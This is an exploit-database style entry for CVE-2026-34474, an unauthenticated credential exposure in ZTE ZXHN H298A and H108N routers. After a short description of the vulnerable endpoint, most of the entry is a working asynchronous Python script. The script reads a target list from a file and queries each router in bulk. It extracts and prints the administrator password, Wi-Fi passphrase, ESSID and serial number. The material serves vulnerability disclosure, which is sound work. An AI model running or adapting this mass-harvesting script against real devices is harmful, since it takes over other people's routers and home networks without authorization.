ZTE H298A / H108N Unauthenticated Credential Exposure

# Exploit Title: ZTE H298A / H108N - Unauthenticated Credential Exposure via ETHCheat Parameter # Date: 2026-05-20 # Exploit Author: Mina Nageh Salalma (Monx Research) # Vendor Homepage: https://www.zte.com.cn # Software Link: https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure # Version: ZXHN H298A 1.1, ZXHN H108N 2.6 # Tested on: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 # CVE: CVE-2026-34474 # Description: # An unauthenticated attacker can retrieve the live administrator password, # WLAN PSK, and ESSID from a ZTE H298A or H108N router by issuing a single # HTTP GET request to /getpage.lua?pid=1000&ETHCheat=1. The device returns # HTML markup containing the fields OBJ_USERINFO_IDPassword1 (admin password), # WLANPSK_KeyPassphrase1 (Wi-Fi PSK), and WLANAP_ESSID1 in plaintext. # A second related endpoint exposes the serial number. # No authentication, session, or cookie is required. # # Affected Firmware: # - ZXHN H298A 1.1 # - ZXHN H108N 2.6 # # MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34474 # Full write-up: https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure import aiohttp import asyncio import html import re import os from colorama import Fore, Style, init init() # Initialize colorama async def get_essid_password(session, url): try: async with aiohttp.ClientSession() as session: # First request async with session.get("http://" + url + "/getpage.lua?pid=1000&ETHCheat=1", verify_ssl=False) as response: html_text = await response.text() Admin = re.search(r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'", html_text).group(1) Admin = html.unescape(Admin) ESSID = re.search(r"id\s*=\s*'WLANAP_ESSID1'\s*value\s*=\s*'([^']+)'", html_text).group(1) ESSID = html.unescape(ESSID) password = re.search(r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'", html_text).group(1) password = html.unescape(password) async with session.get("http://" + url + "/wizard_page/wizard_overETHfail_set_lua.lua") as response: html_text = await response.text() serial_num = re.search(r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>", html_text).group(1) serial_num = html.unescape(serial_num) return {"URL": url, "Admin Password": Admin, "ESSID": ESSID, "WIFI-Password": password, "Serial Number": serial_num} except Exception as e: return {"URL": url, "Admin Password": "", "ESSID": "", "WIFI-Password": "", "Serial Number": ""} async def main(): with open("urls.txt", "r") as f: urls = f.read().splitlines() tasks = [] async with aiohttp.ClientSession() as session: for url in urls: tasks.append(get_essid_password(session, url)) results = await asyncio.gather(*tasks) for r in results: print(f"[+] {r['URL']} | Admin: {r['Admin Password']} | ESSID: {r['ESSID']} | WiFi: {r['WIFI-Password']} | Serial: {r['Serial Number']}") if __name__ == "__main__": asyncio.run(main())